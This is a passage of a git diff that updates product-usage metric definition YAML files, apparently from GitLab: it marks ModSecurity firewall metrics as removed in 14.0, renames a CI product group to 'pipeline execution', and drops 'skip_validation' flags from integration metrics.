diff --git a/config/metrics/counts_all/20210216175442_ingress_modsecurity_packets_processed.yml b/config/metrics/counts_all/20210216175442_ingress_modsecurity_packets_processed.yml
index 2257a325aa6..a5607b54d05 100644
--- a/config/metrics/counts_all/20210216175442_ingress_modsecurity_packets_processed.yml
+++ b/config/metrics/counts_all/20210216175442_ingress_modsecurity_packets_processed.yml
@@ -7,7 +7,8 @@ product_stage: protect
product_group: group::container security
product_category: web_firewall
value_type: number
-status: deprecated
+status: removed
+milestone_removed: 14.0
time_frame: all
data_source: database
distribution:
diff --git a/config/metrics/counts_all/20210216175444_ingress_modsecurity_packets_anomalous.yml b/config/metrics/counts_all/20210216175444_ingress_modsecurity_packets_anomalous.yml
index b716862c512..b8f5b8e8371 100644
--- a/config/metrics/counts_all/20210216175444_ingress_modsecurity_packets_anomalous.yml
+++ b/config/metrics/counts_all/20210216175444_ingress_modsecurity_packets_anomalous.yml
@@ -7,7 +7,8 @@ product_stage: protect
product_group: group::container security
product_category: web_firewall
value_type: number
-status: deprecated
+status: removed
+milestone_removed: 14.0
time_frame: all
data_source: database
distribution:
diff --git a/config/metrics/counts_all/20210216175450_ingress_modsecurity_logging.yml b/config/metrics/counts_all/20210216175450_ingress_modsecurity_logging.yml
index 74d2c99c5aa..0ab1020eadf 100644
--- a/config/metrics/counts_all/20210216175450_ingress_modsecurity_logging.yml
+++ b/config/metrics/counts_all/20210216175450_ingress_modsecurity_logging.yml
@@ -6,7 +6,8 @@ product_stage: protect
product_group: group::container security
product_category: web_firewall
value_type: number
-status: deprecated
+status: removed
+milestone_removed: 14.0
time_frame: all
data_source: database
distribution:
diff --git a/config/metrics/counts_all/20210216175452_ingress_modsecurity_blocking.yml b/config/metrics/counts_all/20210216175452_ingress_modsecurity_blocking.yml
index 7fce44b02cd..ecff0942267 100644
--- a/config/metrics/counts_all/20210216175452_ingress_modsecurity_blocking.yml
+++ b/config/metrics/counts_all/20210216175452_ingress_modsecurity_blocking.yml
@@ -6,7 +6,8 @@ product_stage: protect
product_group: group::container security
product_category: web_firewall
value_type: number
-status: deprecated
+status: removed
+milestone_removed: 14.0
time_frame: all
data_source: database
distribution:
diff --git a/config/metrics/counts_all/20210216175454_ingress_modsecurity_disabled.yml b/config/metrics/counts_all/20210216175454_ingress_modsecurity_disabled.yml
index 838837e223d..230a4b45f7e 100644
--- a/config/metrics/counts_all/20210216175454_ingress_modsecurity_disabled.yml
+++ b/config/metrics/counts_all/20210216175454_ingress_modsecurity_disabled.yml
@@ -6,7 +6,8 @@ product_stage: protect
product_group: group::container security
product_category: web_firewall
value_type: number
-status: deprecated
+status: removed
+milestone_removed: 14.0
time_frame: all
data_source: database
distribution:
diff --git a/config/metrics/counts_all/20210216175456_ingress_modsecurity_not_installed.yml b/config/metrics/counts_all/20210216175456_ingress_modsecurity_not_installed.yml
index 1e6ee0d40cb..19539659357 100644
--- a/config/metrics/counts_all/20210216175456_ingress_modsecurity_not_installed.yml
+++ b/config/metrics/counts_all/20210216175456_ingress_modsecurity_not_installed.yml
@@ -6,7 +6,8 @@ product_stage: protect
product_group: group::container security
product_category: web_firewall
value_type: number
-status: deprecated
+status: removed
+milestone_removed: 14.0
time_frame: all
data_source: database
distribution:
diff --git a/config/metrics/counts_all/20210216175510_ci_builds.yml b/config/metrics/counts_all/20210216175510_ci_builds.yml
index 5efe8e30dfd..29aaaaa3e02 100644
--- a/config/metrics/counts_all/20210216175510_ci_builds.yml
+++ b/config/metrics/counts_all/20210216175510_ci_builds.yml
@@ -3,7 +3,7 @@ key_path: counts.ci_builds
description: Unique builds in project
product_section: ops
product_stage: verify
-product_group: group::continuous integration
+product_group: group::pipeline execution
product_category: continuous_integration
value_type: number
status: data_available
diff --git a/config/metrics/counts_all/20210216175512_ci_internal_pipelines.yml b/config/metrics/counts_all/20210216175512_ci_internal_pipelines.yml
index 3c924b71ed5..c6195245083 100644
--- a/config/metrics/counts_all/20210216175512_ci_internal_pipelines.yml
+++ b/config/metrics/counts_all/20210216175512_ci_internal_pipelines.yml
@@ -3,7 +3,7 @@ key_path: counts.ci_internal_pipelines
description: Total pipelines in GitLab repositories
product_section: ops
product_stage: verify
-product_group: group::continuous integration
+product_group: group::pipeline execution
product_category: continuous_integration
value_type: number
status: data_available
diff --git a/config/metrics/counts_all/20210216175514_ci_external_pipelines.yml b/config/metrics/counts_all/20210216175514_ci_external_pipelines.yml
index 49846e9521d..dde3fe3b962 100644
--- a/config/metrics/counts_all/20210216175514_ci_external_pipelines.yml
+++ b/config/metrics/counts_all/20210216175514_ci_external_pipelines.yml
@@ -3,7 +3,7 @@ key_path: counts.ci_external_pipelines
description: Total pipelines in external repositories
product_section: ops
product_stage: verify
-product_group: group::continuous integration
+product_group: group::pipeline execution
product_category: continuous_integration
value_type: number
status: data_available
diff --git a/config/metrics/counts_all/20210216175518_ci_pipeline_config_repository.yml b/config/metrics/counts_all/20210216175518_ci_pipeline_config_repository.yml
index 95f160bac0e..003cf90d75a 100644
--- a/config/metrics/counts_all/20210216175518_ci_pipeline_config_repository.yml
+++ b/config/metrics/counts_all/20210216175518_ci_pipeline_config_repository.yml
@@ -3,7 +3,7 @@ key_path: counts.ci_pipeline_config_repository
description: Total Pipelines from templates in repository
product_section: ops
product_stage: verify
-product_group: group::continuous integration
+product_group: group::pipeline execution
product_category: continuous_integration
value_type: number
status: data_available
diff --git a/config/metrics/counts_all/20210216175520_ci_runners.yml b/config/metrics/counts_all/20210216175520_ci_runners.yml
index 991e966b05e..7264940d5a4 100644
--- a/config/metrics/counts_all/20210216175520_ci_runners.yml
+++ b/config/metrics/counts_all/20210216175520_ci_runners.yml
@@ -3,7 +3,7 @@ key_path: counts.ci_runners
description: Total configured Runners in project
product_section: ops
product_stage: verify
-product_group: group::continuous integration
+product_group: group::pipeline execution
product_category: continuous_integration
value_type: number
status: data_available
diff --git a/config/metrics/counts_all/20210216175521_ci_triggers.yml b/config/metrics/counts_all/20210216175521_ci_triggers.yml
index 38d5b621d0f..409794377cd 100644
--- a/config/metrics/counts_all/20210216175521_ci_triggers.yml
+++ b/config/metrics/counts_all/20210216175521_ci_triggers.yml
@@ -3,7 +3,7 @@ key_path: counts.ci_triggers
description: Total configured Triggers in project
product_section: ops
product_stage: verify
-product_group: group::continuous integration
+product_group: group::pipeline execution
product_category: continuous_integration
value_type: number
status: data_available
diff --git a/config/metrics/counts_all/20210216175523_ci_pipeline_schedules.yml b/config/metrics/counts_all/20210216175523_ci_pipeline_schedules.yml
index 7c8aeac67b4..57237d36c0d 100644
--- a/config/metrics/counts_all/20210216175523_ci_pipeline_schedules.yml
+++ b/config/metrics/counts_all/20210216175523_ci_pipeline_schedules.yml
@@ -3,7 +3,7 @@ key_path: counts.ci_pipeline_schedules
description: Pipeline schedules in GitLab
product_section: ops
product_stage: verify
-product_group: group::continuous integration
+product_group: group::pipeline execution
product_category: continuous_integration
value_type: number
status: data_available
diff --git a/config/metrics/counts_all/20210216175525_ci_builds.yml b/config/metrics/counts_all/20210216175525_ci_builds.yml
index 16f1e46c94f..702c08ae286 100644
--- a/config/metrics/counts_all/20210216175525_ci_builds.yml
+++ b/config/metrics/counts_all/20210216175525_ci_builds.yml
@@ -3,7 +3,7 @@ key_path: usage_activity_by_stage.verify.ci_builds
description: Unique count of builds in project
product_section: ops
product_stage: verify
-product_group: group::continuous integration
+product_group: group::pipeline execution
product_category: continuous_integration
value_type: number
status: data_available
diff --git a/config/metrics/counts_all/20210216175527_ci_external_pipelines.yml b/config/metrics/counts_all/20210216175527_ci_external_pipelines.yml
index f97d7f31b67..53bbb30717d 100644
--- a/config/metrics/counts_all/20210216175527_ci_external_pipelines.yml
+++ b/config/metrics/counts_all/20210216175527_ci_external_pipelines.yml
@@ -3,7 +3,7 @@ key_path: usage_activity_by_stage.verify.ci_external_pipelines
description: Total pipelines in external repositories
product_section: ops
product_stage: verify
-product_group: group::continuous integration
+product_group: group::pipeline execution
product_category: continuous_integration
value_type: number
status: data_available
diff --git a/config/metrics/counts_all/20210216175529_ci_internal_pipelines.yml b/config/metrics/counts_all/20210216175529_ci_internal_pipelines.yml
index 700152cc710..e888c9a6fd2 100644
--- a/config/metrics/counts_all/20210216175529_ci_internal_pipelines.yml
+++ b/config/metrics/counts_all/20210216175529_ci_internal_pipelines.yml
@@ -3,7 +3,7 @@ key_path: usage_activity_by_stage.verify.ci_internal_pipelines
description: Total pipelines in GitLab repositories
product_section: ops
product_stage: verify
-product_group: group::continuous integration
+product_group: group::pipeline execution
product_category: continuous_integration
value_type: number
status: data_available
diff --git a/config/metrics/counts_all/20210216175533_ci_pipeline_config_repository.yml b/config/metrics/counts_all/20210216175533_ci_pipeline_config_repository.yml
index a7d45a74e72..1dcc5e885c7 100644
--- a/config/metrics/counts_all/20210216175533_ci_pipeline_config_repository.yml
+++ b/config/metrics/counts_all/20210216175533_ci_pipeline_config_repository.yml
@@ -3,7 +3,7 @@ key_path: usage_activity_by_stage.verify.ci_pipeline_config_repository
description: Total Pipelines from templates in repository
product_section: ops
product_stage: verify
-product_group: group::continuous integration
+product_group: group::pipeline execution
product_category: continuous_integration
value_type: number
status: data_available
diff --git a/config/metrics/counts_all/20210216175535_ci_pipeline_schedules.yml b/config/metrics/counts_all/20210216175535_ci_pipeline_schedules.yml
index dc34481c495..7ee753f6d32 100644
--- a/config/metrics/counts_all/20210216175535_ci_pipeline_schedules.yml
+++ b/config/metrics/counts_all/20210216175535_ci_pipeline_schedules.yml
@@ -3,7 +3,7 @@ key_path: usage_activity_by_stage.verify.ci_pipeline_schedules
description: Pipeline schedules in GitLab
product_section: ops
product_stage: verify
-product_group: group::continuous integration
+product_group: group::pipeline execution
product_category: continuous_integration
value_type: number
status: data_available
diff --git a/config/metrics/counts_all/20210216175537_ci_pipelines.yml b/config/metrics/counts_all/20210216175537_ci_pipelines.yml
index 9447661e19c..a3bcc7eafbe 100644
--- a/config/metrics/counts_all/20210216175537_ci_pipelines.yml
+++ b/config/metrics/counts_all/20210216175537_ci_pipelines.yml
@@ -3,7 +3,7 @@ key_path: usage_activity_by_stage.verify.ci_pipelines
description: Distinct Users triggering Total pipelines
product_section: ops
product_stage: verify
-product_group: group::continuous integration
+product_group: group::pipeline execution
product_category: continuous_integration
value_type: number
status: data_available
diff --git a/config/metrics/counts_all/20210216175539_ci_triggers.yml b/config/metrics/counts_all/20210216175539_ci_triggers.yml
index 85a7f097574..5b533f1e726 100644
--- a/config/metrics/counts_all/20210216175539_ci_triggers.yml
+++ b/config/metrics/counts_all/20210216175539_ci_triggers.yml
@@ -3,7 +3,7 @@ key_path: usage_activity_by_stage.verify.ci_triggers
description: Total configured Triggers in project
product_section: ops
product_stage: verify
-product_group: group::continuous integration
+product_group: group::pipeline execution
product_category: continuous_integration
value_type: number
status: data_available
diff --git a/config/metrics/counts_all/20210216175623_projects_asana_active.yml b/config/metrics/counts_all/20210216175623_projects_asana_active.yml
index 724a00f7c18..efb8771ee35 100644
--- a/config/metrics/counts_all/20210216175623_projects_asana_active.yml
+++ b/config/metrics/counts_all/20210216175623_projects_asana_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175625_groups_asana_active.yml b/config/metrics/counts_all/20210216175625_groups_asana_active.yml
index cdae2cdf020..574dcd21ba5 100644
--- a/config/metrics/counts_all/20210216175625_groups_asana_active.yml
+++ b/config/metrics/counts_all/20210216175625_groups_asana_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175627_templates_asana_active.yml b/config/metrics/counts_all/20210216175627_templates_asana_active.yml
index df08683ab7a..f66dc3d3d18 100644
--- a/config/metrics/counts_all/20210216175627_templates_asana_active.yml
+++ b/config/metrics/counts_all/20210216175627_templates_asana_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175628_instances_asana_active.yml b/config/metrics/counts_all/20210216175628_instances_asana_active.yml
index afaaf7f3b8c..b88ebad2b62 100644
--- a/config/metrics/counts_all/20210216175628_instances_asana_active.yml
+++ b/config/metrics/counts_all/20210216175628_instances_asana_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175630_projects_inheriting_asana_active.yml b/config/metrics/counts_all/20210216175630_projects_inheriting_asana_active.yml
index efcaabdb817..8288135e4a6 100644
--- a/config/metrics/counts_all/20210216175630_projects_inheriting_asana_active.yml
+++ b/config/metrics/counts_all/20210216175630_projects_inheriting_asana_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175632_groups_inheriting_asana_active.yml b/config/metrics/counts_all/20210216175632_groups_inheriting_asana_active.yml
index 4a8128f2600..bef134521f9 100644
--- a/config/metrics/counts_all/20210216175632_groups_inheriting_asana_active.yml
+++ b/config/metrics/counts_all/20210216175632_groups_inheriting_asana_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175634_projects_assembla_active.yml b/config/metrics/counts_all/20210216175634_projects_assembla_active.yml
index 3a4e4c64c7a..802410374c1 100644
--- a/config/metrics/counts_all/20210216175634_projects_assembla_active.yml
+++ b/config/metrics/counts_all/20210216175634_projects_assembla_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175636_groups_assembla_active.yml b/config/metrics/counts_all/20210216175636_groups_assembla_active.yml
index 100beb0991b..f1dd8937289 100644
--- a/config/metrics/counts_all/20210216175636_groups_assembla_active.yml
+++ b/config/metrics/counts_all/20210216175636_groups_assembla_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175638_templates_assembla_active.yml b/config/metrics/counts_all/20210216175638_templates_assembla_active.yml
index f1bc7d0b08f..48ac16aaf82 100644
--- a/config/metrics/counts_all/20210216175638_templates_assembla_active.yml
+++ b/config/metrics/counts_all/20210216175638_templates_assembla_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175640_instances_assembla_active.yml b/config/metrics/counts_all/20210216175640_instances_assembla_active.yml
index 049781d91f9..4f625b68679 100644
--- a/config/metrics/counts_all/20210216175640_instances_assembla_active.yml
+++ b/config/metrics/counts_all/20210216175640_instances_assembla_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175642_projects_inheriting_assembla_active.yml b/config/metrics/counts_all/20210216175642_projects_inheriting_assembla_active.yml
index c71e2efec84..15a55d66d5d 100644
--- a/config/metrics/counts_all/20210216175642_projects_inheriting_assembla_active.yml
+++ b/config/metrics/counts_all/20210216175642_projects_inheriting_assembla_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175644_groups_inheriting_assembla_active.yml b/config/metrics/counts_all/20210216175644_groups_inheriting_assembla_active.yml
index 58f9e025ae6..e39ef4e175d 100644
--- a/config/metrics/counts_all/20210216175644_groups_inheriting_assembla_active.yml
+++ b/config/metrics/counts_all/20210216175644_groups_inheriting_assembla_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175645_projects_bamboo_active.yml b/config/metrics/counts_all/20210216175645_projects_bamboo_active.yml
index ffeccdddb5e..45094301a0c 100644
--- a/config/metrics/counts_all/20210216175645_projects_bamboo_active.yml
+++ b/config/metrics/counts_all/20210216175645_projects_bamboo_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175647_groups_bamboo_active.yml b/config/metrics/counts_all/20210216175647_groups_bamboo_active.yml
index 4a9a6d695e8..ab3e27f0521 100644
--- a/config/metrics/counts_all/20210216175647_groups_bamboo_active.yml
+++ b/config/metrics/counts_all/20210216175647_groups_bamboo_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175649_templates_bamboo_active.yml b/config/metrics/counts_all/20210216175649_templates_bamboo_active.yml
index 11d3abdc7f9..f09b32f4efd 100644
--- a/config/metrics/counts_all/20210216175649_templates_bamboo_active.yml
+++ b/config/metrics/counts_all/20210216175649_templates_bamboo_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175651_instances_bamboo_active.yml b/config/metrics/counts_all/20210216175651_instances_bamboo_active.yml
index ce27c004aaf..98faf222d71 100644
--- a/config/metrics/counts_all/20210216175651_instances_bamboo_active.yml
+++ b/config/metrics/counts_all/20210216175651_instances_bamboo_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175653_projects_inheriting_bamboo_active.yml b/config/metrics/counts_all/20210216175653_projects_inheriting_bamboo_active.yml
index 28bdc086a74..2e18cde5cd4 100644
--- a/config/metrics/counts_all/20210216175653_projects_inheriting_bamboo_active.yml
+++ b/config/metrics/counts_all/20210216175653_projects_inheriting_bamboo_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175655_groups_inheriting_bamboo_active.yml b/config/metrics/counts_all/20210216175655_groups_inheriting_bamboo_active.yml
index 74a4c3618d2..83c793f9992 100644
--- a/config/metrics/counts_all/20210216175655_groups_inheriting_bamboo_active.yml
+++ b/config/metrics/counts_all/20210216175655_groups_inheriting_bamboo_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175657_projects_bugzilla_active.yml b/config/metrics/counts_all/20210216175657_projects_bugzilla_active.yml
index 640aad49c0a..917d26db38c 100644
--- a/config/metrics/counts_all/20210216175657_projects_bugzilla_active.yml
+++ b/config/metrics/counts_all/20210216175657_projects_bugzilla_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175659_groups_bugzilla_active.yml b/config/metrics/counts_all/20210216175659_groups_bugzilla_active.yml
index 2521b50e111..adfac50edb8 100644
--- a/config/metrics/counts_all/20210216175659_groups_bugzilla_active.yml
+++ b/config/metrics/counts_all/20210216175659_groups_bugzilla_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175701_templates_bugzilla_active.yml b/config/metrics/counts_all/20210216175701_templates_bugzilla_active.yml
index 977bc0be0cf..f93bab2acb5 100644
--- a/config/metrics/counts_all/20210216175701_templates_bugzilla_active.yml
+++ b/config/metrics/counts_all/20210216175701_templates_bugzilla_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175702_instances_bugzilla_active.yml b/config/metrics/counts_all/20210216175702_instances_bugzilla_active.yml
index 9a1714e918b..732eda5f97e 100644
--- a/config/metrics/counts_all/20210216175702_instances_bugzilla_active.yml
+++ b/config/metrics/counts_all/20210216175702_instances_bugzilla_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175704_projects_inheriting_bugzilla_active.yml b/config/metrics/counts_all/20210216175704_projects_inheriting_bugzilla_active.yml
index f4dffa88821..6098f982786 100644
--- a/config/metrics/counts_all/20210216175704_projects_inheriting_bugzilla_active.yml
+++ b/config/metrics/counts_all/20210216175704_projects_inheriting_bugzilla_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175706_groups_inheriting_bugzilla_active.yml b/config/metrics/counts_all/20210216175706_groups_inheriting_bugzilla_active.yml
index c7c093d8ab7..261a73b5009 100644
--- a/config/metrics/counts_all/20210216175706_groups_inheriting_bugzilla_active.yml
+++ b/config/metrics/counts_all/20210216175706_groups_inheriting_bugzilla_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175708_projects_buildkite_active.yml b/config/metrics/counts_all/20210216175708_projects_buildkite_active.yml
index debf9bb020f..3ebdf5cb7e8 100644
--- a/config/metrics/counts_all/20210216175708_projects_buildkite_active.yml
+++ b/config/metrics/counts_all/20210216175708_projects_buildkite_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175710_groups_buildkite_active.yml b/config/metrics/counts_all/20210216175710_groups_buildkite_active.yml
index 2abea7b54d2..6dc86fc2e78 100644
--- a/config/metrics/counts_all/20210216175710_groups_buildkite_active.yml
+++ b/config/metrics/counts_all/20210216175710_groups_buildkite_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175712_templates_buildkite_active.yml b/config/metrics/counts_all/20210216175712_templates_buildkite_active.yml
index 1520168a10a..7a4caddc9fa 100644
--- a/config/metrics/counts_all/20210216175712_templates_buildkite_active.yml
+++ b/config/metrics/counts_all/20210216175712_templates_buildkite_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175714_instances_buildkite_active.yml b/config/metrics/counts_all/20210216175714_instances_buildkite_active.yml
index 1ce0ad19f97..91ca8b112a1 100644
--- a/config/metrics/counts_all/20210216175714_instances_buildkite_active.yml
+++ b/config/metrics/counts_all/20210216175714_instances_buildkite_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175716_projects_inheriting_buildkite_active.yml b/config/metrics/counts_all/20210216175716_projects_inheriting_buildkite_active.yml
index 0073bdaf957..9b032b2ccdb 100644
--- a/config/metrics/counts_all/20210216175716_projects_inheriting_buildkite_active.yml
+++ b/config/metrics/counts_all/20210216175716_projects_inheriting_buildkite_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175717_groups_inheriting_buildkite_active.yml b/config/metrics/counts_all/20210216175717_groups_inheriting_buildkite_active.yml
index f8e5bcab9fd..dbd3ca666cb 100644
--- a/config/metrics/counts_all/20210216175717_groups_inheriting_buildkite_active.yml
+++ b/config/metrics/counts_all/20210216175717_groups_inheriting_buildkite_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175719_projects_campfire_active.yml b/config/metrics/counts_all/20210216175719_projects_campfire_active.yml
index 15d2e40b4ca..e6955d37aaf 100644
--- a/config/metrics/counts_all/20210216175719_projects_campfire_active.yml
+++ b/config/metrics/counts_all/20210216175719_projects_campfire_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175721_groups_campfire_active.yml b/config/metrics/counts_all/20210216175721_groups_campfire_active.yml
index 284b7bab518..14ce92b9755 100644
--- a/config/metrics/counts_all/20210216175721_groups_campfire_active.yml
+++ b/config/metrics/counts_all/20210216175721_groups_campfire_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175723_templates_campfire_active.yml b/config/metrics/counts_all/20210216175723_templates_campfire_active.yml
index 4a6df7ba877..72bb63ea683 100644
--- a/config/metrics/counts_all/20210216175723_templates_campfire_active.yml
+++ b/config/metrics/counts_all/20210216175723_templates_campfire_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175725_instances_campfire_active.yml b/config/metrics/counts_all/20210216175725_instances_campfire_active.yml
index 5ab6dec5aa7..7d3b91b253c 100644
--- a/config/metrics/counts_all/20210216175725_instances_campfire_active.yml
+++ b/config/metrics/counts_all/20210216175725_instances_campfire_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175727_projects_inheriting_campfire_active.yml b/config/metrics/counts_all/20210216175727_projects_inheriting_campfire_active.yml
index fb53c49929f..fc00c5bc800 100644
--- a/config/metrics/counts_all/20210216175727_projects_inheriting_campfire_active.yml
+++ b/config/metrics/counts_all/20210216175727_projects_inheriting_campfire_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175729_groups_inheriting_campfire_active.yml b/config/metrics/counts_all/20210216175729_groups_inheriting_campfire_active.yml
index 9d974bf517b..3d62a32e0f8 100644
--- a/config/metrics/counts_all/20210216175729_groups_inheriting_campfire_active.yml
+++ b/config/metrics/counts_all/20210216175729_groups_inheriting_campfire_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175731_projects_confluence_active.yml b/config/metrics/counts_all/20210216175731_projects_confluence_active.yml
index 075e56155fd..9c74e8ed761 100644
--- a/config/metrics/counts_all/20210216175731_projects_confluence_active.yml
+++ b/config/metrics/counts_all/20210216175731_projects_confluence_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175733_groups_confluence_active.yml b/config/metrics/counts_all/20210216175733_groups_confluence_active.yml
index de152ddeb7d..de84d268e6e 100644
--- a/config/metrics/counts_all/20210216175733_groups_confluence_active.yml
+++ b/config/metrics/counts_all/20210216175733_groups_confluence_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175734_templates_confluence_active.yml b/config/metrics/counts_all/20210216175734_templates_confluence_active.yml
index ff059277577..88889827cd5 100644
--- a/config/metrics/counts_all/20210216175734_templates_confluence_active.yml
+++ b/config/metrics/counts_all/20210216175734_templates_confluence_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175736_instances_confluence_active.yml b/config/metrics/counts_all/20210216175736_instances_confluence_active.yml
index a2e36f00a12..6a441e394b8 100644
--- a/config/metrics/counts_all/20210216175736_instances_confluence_active.yml
+++ b/config/metrics/counts_all/20210216175736_instances_confluence_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175738_projects_inheriting_confluence_active.yml b/config/metrics/counts_all/20210216175738_projects_inheriting_confluence_active.yml
index 15a6ffd6025..e94deefbe4f 100644
--- a/config/metrics/counts_all/20210216175738_projects_inheriting_confluence_active.yml
+++ b/config/metrics/counts_all/20210216175738_projects_inheriting_confluence_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175740_groups_inheriting_confluence_active.yml b/config/metrics/counts_all/20210216175740_groups_inheriting_confluence_active.yml
index e7928fff1c5..a73868e398b 100644
--- a/config/metrics/counts_all/20210216175740_groups_inheriting_confluence_active.yml
+++ b/config/metrics/counts_all/20210216175740_groups_inheriting_confluence_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175742_projects_custom_issue_tracker_active.yml b/config/metrics/counts_all/20210216175742_projects_custom_issue_tracker_active.yml
index 0d0d2d86fdb..891bbb33777 100644
--- a/config/metrics/counts_all/20210216175742_projects_custom_issue_tracker_active.yml
+++ b/config/metrics/counts_all/20210216175742_projects_custom_issue_tracker_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175744_groups_custom_issue_tracker_active.yml b/config/metrics/counts_all/20210216175744_groups_custom_issue_tracker_active.yml
index e8cae4d24d7..6abbcb5554b 100644
--- a/config/metrics/counts_all/20210216175744_groups_custom_issue_tracker_active.yml
+++ b/config/metrics/counts_all/20210216175744_groups_custom_issue_tracker_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175745_templates_custom_issue_tracker_active.yml b/config/metrics/counts_all/20210216175745_templates_custom_issue_tracker_active.yml
index a67cd7c0435..59eb025f651 100644
--- a/config/metrics/counts_all/20210216175745_templates_custom_issue_tracker_active.yml
+++ b/config/metrics/counts_all/20210216175745_templates_custom_issue_tracker_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175747_instances_custom_issue_tracker_active.yml b/config/metrics/counts_all/20210216175747_instances_custom_issue_tracker_active.yml
index 00bf681c870..364f8ce53bb 100644
--- a/config/metrics/counts_all/20210216175747_instances_custom_issue_tracker_active.yml
+++ b/config/metrics/counts_all/20210216175747_instances_custom_issue_tracker_active.yml
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175749_projects_inheriting_custom_issue_tracker_active.yml b/config/metrics/counts_all/20210216175749_projects_inheriting_custom_issue_tracker_active.yml
